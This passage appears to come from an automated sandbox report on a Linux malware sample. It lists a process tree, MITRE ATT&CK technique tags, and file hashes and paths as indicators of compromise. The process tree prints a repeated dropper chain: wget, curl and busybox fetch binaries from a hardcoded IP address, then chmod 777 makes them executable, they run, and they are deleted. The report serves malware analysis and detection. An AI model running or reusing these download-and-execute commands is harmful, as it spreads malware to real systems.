  chmod 777 NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  ./NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
  2⤵
  PID:953
- /usr/bin/wget
  wget http://87.120.126.196/bins/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  PID:956
- /bin/chmod
  chmod 777 DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  ./DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
  2⤵
  PID:959
- /usr/bin/wget
  wget http://87.120.126.196/bins/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  PID:962
- /bin/chmod
  chmod 777 UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  ./UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
  2⤵
  PID:965
- /usr/bin/wget
  wget http://87.120.126.196/bins/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  PID:968
- /bin/chmod
  chmod 777 6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  ./6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm 6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
  2⤵
  PID:971
- /usr/bin/wget
  wget http://87.120.126.196/bins/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  PID:972
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:973
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  PID:974
- /bin/chmod
  chmod 777 HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  ./HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
  2⤵
  PID:977

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY

Path /tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY	735	Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
/tmp/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs	742	HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
/tmp/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd	792	UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
/tmp/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP	799	BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
/tmp/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW	832	Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
/tmp/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF	844	7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
/tmp/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2	850	86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
/tmp/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE	856	36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
/tmp/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs	862	NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
/tmp/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS	868	DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
/tmp/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL	874	UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
/tmp/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2	880	6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
/tmp/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L	886	HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L
/tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73	892	VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
/tmp/VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73	898	VAsyxZiIyEpesH1dGH6Xzt1DkmKMtq3C73
/tmp/Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY	904	Nb0QLvHtEEe8z9aSuXKO6AAb9FNNTpOXGY
/tmp/HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs	910	HBEFzG5suBvXVJbDvmVOWsuOxufZ023Uxs
/tmp/UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd	916	UpRvmBwy2yFu5rxXkQoURCuCCVl5zYY8Fd
/tmp/BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP	922	BXAo7rHQ5vjPHRvwE6cC4yheKtD9NN4IpP
/tmp/Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW	928	Hdaigu0xv4SB7YzvJQkNJt8a2RGxvmadUW
/tmp/7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF	934	7BTHb1zH4LHWeNWdY7CzjS5soNnwn1UhBF
/tmp/86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2	940	86Hh404Ykd4vRYLJOjYS4ifWL6rmqr9qY2
/tmp/36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE	946	36DpVhMX0YJ9lo9HZYkIEMJv7oh3bf07vE
/tmp/NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs	952	NttkxRqdz4K1KCT11n9L8oF8r1eCMH4IYs
/tmp/DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS	958	DF1OSH31xUW3KJSUzhYPNbfBTrTqfUXauS
/tmp/UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL	964	UBvm9F5XJ5boIEOBachVQqCVJFvx4GFIFL
/tmp/6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2	970	6gbRaTX3lh5P8bo1wxFkP7XJkALN76Y8m2
/tmp/HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L	976	HxjYKFccuVFj8fScmanKGz6PKEInJ9ya5L